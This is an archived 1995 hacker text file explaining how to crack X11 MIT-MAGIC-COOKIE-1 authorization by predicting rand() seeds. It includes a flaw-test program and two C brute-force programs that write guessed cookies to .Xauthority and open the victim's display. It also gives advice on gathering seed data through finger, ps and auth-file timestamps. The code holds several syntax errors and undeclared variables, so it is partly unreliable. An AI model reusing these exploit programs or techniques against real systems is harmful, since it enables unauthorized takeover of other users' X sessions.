home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / MISC / CRACKMIT.ZIP / CRACKMIT.TXT
Encoding:
Text File  |  1995-11-29  |  8.4 KB  |  286 lines

  1.     Cracking the MIT-MAGIC-COOKIE-1 authorization protocol.
  2.  
  3. 1) Auth-data is generated from 16 successive random numbers.
  4.    MIT-MAGIC-COOKIE-1 can use 2 different methods of seeding the random
  5.    number generator:
  6.  
  7.     a) Using the process ID of xdm client & time of day in seconds 
  8.     b) Using the time of day in seconds & time of day in microseconds
  9.        (that connection was established).
  10.  
  11. 2) Process ID/time of day in microsecs is rotated left by 16 bits and added
  12.    to the time of day in seconds:
  13.  
  14.    #ifdef ITIMER_REAL 
  15.      gettimeofday(&tod,&time_zone);
  16.      a=tod.tv_secs;
  17.      b=tod.tv_usecs;
  18.    #else
  19.      a=time(NULL);
  20.      b=getpid();
  21.    #endif 
  22.  
  23.      seed=(a+(b<<16));
  24.      srand(seed); 
  25.  
  26.      for(i=0;i<16;i++)
  27.       auth[i]=rand();
  28.  
  29. 3) Some operating systems that use the traditional srand()/rand() functions
  30.    have a mathematical flaw inherent in them that allows a faster method
  31.    of cracking auth-data, or a brute force attack on a remote machine
  32.    to which the user has no access.
  33.  
  34.    To determine if the target system's OS supports the rand() flaw, compile
  35.    and run the following src code under that operating system.
  36.    Two systems that support the flaw are SunOS4.1.x and FreeBSD.
  37.    OSF/x does _NOT_ support the flaw.
  38.  
  39.      #include <stdio.h>
  40.      main() {
  41.       char auth[16];
  42.       int i;
  43.  
  44.       srand(1);
  45.       for(i=0;i<16;i++)
  46.        auth[i]=rand()&0xff; 
  47.       srand(257);
  48.       for(i=0;i<16;i++)
  49.        if (auth[i]!=(rand()&0xff))
  50.     exit(0);
  51.       puts("System supports flaw.");
  52.      }
  53.  
  54. 4) If the program produces no output, then the OS does NOT support the flaw,
  55.    and hence the long method should be used (see step 7-)
  56.  
  57.    [*] The flaw itself is that the low 8 bits of numbers produced by
  58.        successive calls to rand() repeat  in the same sequence with a period
  59.        of 256. Consequently, under such Operating Systems, there are only
  60.        256 unique magic cookies that can ever be generated.
  61.        It takes little longer than a second (on the local machine) to
  62.        generate & test every one of these cookies.
  63.  
  64. 5) Brute Force cracking of cookies generated using both methods
  65.    (utilising rand()'s flaw)
  66.  
  67.    - The lower 8 bits of numbers produced by rand() follow a predictable
  68.      pattern, and are a function of the lower 8 bits of the seed value. 
  69.      Hence, to crack the auth-data, trying auths generated with seed values
  70.      0x00-0xff will yield a matching auth-data set.
  71.  
  72.      The code for such a method is as follows:
  73.  
  74. ------------------------cut--------here-----------------------
  75. #include <stdio.h>
  76. #include <fcntl.h>
  77. #include <sys/types.h>
  78. #include <X11/Xlib.h>
  79. #include <X11/Xauth.h>
  80.  
  81. char buf[256];
  82.  
  83. main(int argc, char **argv) {
  84.   long dpy;
  85.   char *ptr=(caddr_t)&dpy;
  86.   int i,j;
  87.   FILE *fd;
  88.  
  89.   puts("display:");
  90.   gets(buf);
  91.   sscanf(buf,"%d.%d.%d.%d:0.0",ptr[0],ptr[1],ptr[2],ptr[3]);
  92.     
  93.   cookie.family=0;
  94.   cookie.address_length=4;
  95.   cookie.address=ptr;
  96.   cookie.number_length=1;
  97.   cookie.number="0";
  98.   cookie.name_length=18; 
  99.   cookie.name="MIT-MAGIC-COOKIE=1";
  100.   cookie.data_length=16;
  101.   cookie.data=auth;
  102.  
  103.   chdir(getenv("HOME"));
  104.   if ((fd=fopen(".Xauthority","w"))==NULL)
  105.    {
  106.     perror("fopen");
  107.     exit(1);
  108.    }
  109.  
  110.   for(i=0;i<256;i++) {
  111.    srand(i);
  112.    for (j=0;j<16;j++)
  113.     auth[j]=rand();
  114.   
  115.    rewind(fd);
  116.    XauWriteAuth(fd,&cookie);
  117.    fflush(fd);
  118.  
  119.    if (XOpenDisplay(buf)!==NULL) {
  120.     puts("success!");
  121.     puts("cookie added to .Xauthority");
  122.     
  123.     exit(0);
  124.     }
  125.   }
  126.  
  127.   fclose(fd);
  128.   unlink(".hehe");
  129.   puts("auth crack failed...");
  130.  }  
  131.  
  132. --------------------------------cut-------here---------------
  133.  
  134. 6) Lazy people may furthur narrow the search space by determining the time
  135.    of day (in seconds) at which the X-connection was created, and using
  136.    the lower 8 bits of that time as a seed (for an exact, one shot crack or as
  137.    a starting approximation for a seed value...).
  138.    This can be determined by intelligent means, such as fingering the user,
  139.    checking utmp logs etc etc (see step 7 for a good method)
  140.  
  141. 7) Cracking cookies generated by method 'a' (on systems without the flaw)
  142.  
  143.    - On operating systems such as OSF/x, the flaw is (to all intents and 
  144.      purposes) has been removed by reversing the major and minor nibbles
  145.      (effectively, returning (rand()>>16) ).
  146.  
  147.      [*] The low 8 bits of the upper nibble (probably) repeat, but with 
  148.      a period of 2^24, making it too arduous to use brute force.
  149.      Chances are, a login session would not last long enough for the
  150.      cookie to be determined before the user logs out.
  151.  
  152.    - In order to crack a user's cookie, then, it is necessary to be able
  153.      to find out the process id of the xdm handling a display (which
  154.      would require being able to do a 'ps' on the machine serving the
  155.      X-client), and to know the approximate time that the session was
  156.      started.
  157.      
  158.      A good way to determine the time of day that the session was created
  159.      is to locate the file that contains the server's copy of the authority
  160.      data, and to stat the file and use the creation time (st_ctime)
  161.      as the time component of the seed.
  162.  
  163.      Such files can be found in the authDir named in the xdm-config file
  164.      (/usr/lib/X11/xdm/xdm-config -- or whatever follows the '-config' arg
  165.      in xdm's command line) under DisplayManager.authDir .
  166.  
  167.      [*] Note: this timestamp may be off by a second:
  168.      If the authority data is created on a second boundary, by the time
  169.      the data is written to the file (and the file is created), the
  170.      timestamp will be a second later than the actual value required.
  171.  
  172.      Should the generate data fail to work, try using the file's 
  173.      timestamp - 1 in the generation process.
  174.  
  175.      [*] It should also be noted that sometimes auth-files from old xdm
  176.      sessions for the same display are also in the directory (ie
  177.      several authfiles for the same display).
  178.  
  179.      The naming protocol for these files is something like:
  180.  
  181.          A-<display name>-<xdm pid>
  182.  
  183.      where the xdm pid is the number stored in the 'xdm-pid'
  184.      file in the same directory.
  185.  
  186.      - A simple source (that uses the file timestamp idea outlined above)
  187.        follows:
  188.  
  189. ---------------------------cut---here------------------------------
  190. #include <stdio.h>
  191. #include <X11/Xauth.h>
  192. #include <sys/stat.h>
  193. #include <sys/types.h>
  194.  
  195. main() {
  196.  Xauth cookie;
  197.  struct stat info;
  198.  char buf[256],dpy[4],auth[16],disp[25];
  199.  pid_t user_xdm;
  200.  FILE *fd;
  201.  int i,j;
  202.  time_t now;
  203.  
  204.  puts("enter display (x.x.x.x:0.0)");
  205.  gets(disp);
  206.  sscanf(disp,"%d.%d.%d.%d:0.0\r",&dpy[0],&dpy[1],&dpy[2],&dpy[3]);
  207.  
  208.  /* NOTE that the id prompted for here is not the pid found
  209.     in the xdm-pid file, but is the id of the session xdm process,
  210.     which usually appears in a ps -a looking something like:
  211.  
  212.     -<display> (xdm)
  213.  */
  214.  puts("enter session xdm id:");
  215.  scanf("%d\r",&user_xdm);
  216.  
  217.  /* the pathname of the server's auth_file */
  218.  puts("enter FULL pathname of server's auth file");
  219.  gets(buf);
  220.  
  221.  if (stat(buf,&info) {
  222.   puts("Oops, couldn't find file");
  223.   exit(1);
  224.   }
  225.  now=info.st_ctime; 
  226.  
  227.  cookie.family=0;
  228.  cookie.addr_length=4;
  229.  cookie.addr=dpy;
  230.  cookie.number_length=1;
  231.  cookie.number="0";
  232.  cookie.name_length=18;
  233.  cookie.name="MIT-MAGIC-COOKIE-1";
  234.  cookie.data_length=16;
  235.  cookie.data=auth;
  236.  
  237.  chdir(getenv("HOME"));
  238.  if ((fd=fopen(".Xauthority","w"))==NULL)
  239.   {
  240.    perror("fopen failed");
  241.    exit(1);
  242.   }
  243.  
  244.  for(i=0;i<2;i++) {
  245.   srand(now+(user_xdm<<16));
  246.   for(j=0;j<16;j++)
  247.    auth[j]=rand()&x0ff;
  248.   XauWriteAuth(fd,&cookie);
  249.   fflush(fd);
  250.   if (XOpenDisplay(disp)) {
  251.    puts("cookie added to .Xauthority");
  252.    fclose(fd);
  253.    exit(0);
  254.    }
  255.   else {
  256.    rewind(fd);
  257.    now--;
  258.    }
  259.   }
  260.   puts("Cookie not found!!!!");
  261.   exit(1);
  262. }
  263.  
  264. ----------------------------cut------------here---------------------
  265.  
  266. 8) Cracking cookies generated by method b) (on systems without the flaw)
  267.  
  268.    - Good luck. The time of day is easily predicted by guesswork, or by
  269.      statting the server's authfile, but the time of day in microseconds
  270.      has to be guessed. Matters are made slightly easier by the fact
  271.      that the time of day in milliseconds is left shifted by 16 bits
  272.      (tv_msec << 16), and hence is only a 16-bit factor to deal with
  273.      (iteratively trying 65536 microsecond timestamps is faster than
  274.      1,000,000).
  275.  
  276.      If a user has access to the machine, it will take at most 2*65536
  277.      (accounting for the fact that the file's timestamp may be out by one
  278.      second -- see 7) == 131072 iterations. Chances are slim that a user
  279.      will stay logged on for a single session that long (console sessions
  280.      are a possibility).
  281.  
  282. 9) Attribution
  283.  
  284.    eris/Mr_X         10/1995
  285.  
  286.